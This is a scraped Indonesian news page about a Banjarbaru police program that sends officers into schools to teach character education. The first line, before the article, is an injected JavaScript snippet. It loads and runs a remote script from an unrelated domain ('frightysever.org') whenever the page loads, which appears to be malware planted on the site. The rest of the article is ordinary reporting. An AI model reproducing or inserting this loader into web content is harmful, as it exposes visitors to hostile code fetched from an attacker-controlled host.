(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Kasus-kasus kekerasan dunia pendidikan yang melibatkan peserta didik dan guru menimbulkan kecemasan banyak pihak. Kasus pemukulan disebabkan oleh hal sepele harus tak terjadi lagi di dunia pendidikan. Berlatar belakang itulah, Polres Banjarbaru terus mencanangkan misi Tebar Pesona (Tekan Bersama Permasalahan Sosial dan Narkotika) lewat program Polis Mengajar.
Kamis (15/2) di aula Gawi Sabarataan Walikota Banjarbaru H Nadjmi Adhani membuka acara pembekalan Polisi Mengajar dalam rangka pembentukan pendidikan yang berkarakter melalui revolusi mental. Turut berhadir Kapolres Banjarbaru AKBP Kelana Jaya SIK, Kepala Dinas Pendidikan Kota Banjarbaru Hj Rahma Khairita beserta narasumber dari Kepala Sekolah SMP dan SD di Banjarbaru.
Kepala Dinas Pendidikan Kota Banjarbaru Hj Rahma Khairita mengatakan, sekitar 25% dari penduduk yang tinggal di kota Banjarbaru adalah pelajar yang mengisi kegiatan dari pagi hingga sore.
“Mereka yang bersekolah ini adalah terget utama pamerintah untuk menanamkan nilai-nilai karakter yang sudah dicanangkan,†katanya.
Kegiatan Police Go To School tersebut sudah 29 Januari lalu, dan untuk sekolah yang ditergetkan adalah SMP sebanyak 20 sekolah.
“SD ada 80 sekolah dengan 3 tahap yaitu 40 sekolah bulan Februari 20 sekolah di bulan Maret 20 sekolah pada bulan April. Untuk petugas polisi yang akan mengajar di sekolah ada sebanyak 54 personil,†sebutnya,
Masih menurut Kadisdik, perbaikan karakter ini harus dimulai dari sekolah, jika bisa berhasil memperbaiki anak didik, karakter generasi kedepan akan menjadi lebih baik.
Kapolres Banjarbaru AKBP Kelana Jaya SIK memotivasi personil polisi yang terlibat Polisi Mengajar untuk jangan pernah merasa hebat dari dari orang lain.
“Artinya kita perlu orang lain, jika kita memandang orang lain dengan sederhana orang tersebut akan memandang kita sebagai orang yang sederhana pula,†katanya.
Walikota Banjarbaru mengapresiasi kegiatan Polisi Mengajar yang diadakan Polres Banjarbaru bekerjasama dengan Dinas Pendidikan Kota Banjarbaru.
“Masa emas seorang anak pada usia 2 higga 14 tahun, setelah umur 14 tahun berat karena meraka sudah memiliki nilai kepribadian, kesempatan ini mengusung visi kota pelayanan yang berkarakter. Berkarakter itu dalam bahasa agama akhlatul karimah atau nilai-nilai yang baik,†ujar Nadjmi.
Dalam pembekalan pada hari ini, para polisi di ajarkan bagaimana caranya menangani segala bentuk karakter anak didik, cara pendekatan yang tepat dan cara penyampaian materi kepada anak. Agar nantinya anak didik tersebut tidak merasa tertekan atau takut karena ada polisi yang mengajar di sekolah mereka.
Dengan adanya Polisi Mengajar membawa dampak tidak hanya kepada anak didik tapi guru dan wali murid. Hal ini di anggap sebagai salah satu cara mendisiplinkan pada anak guru, dan orang tua mengenai bagaimana cara pengajaran karakter kepada anak. (devi)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.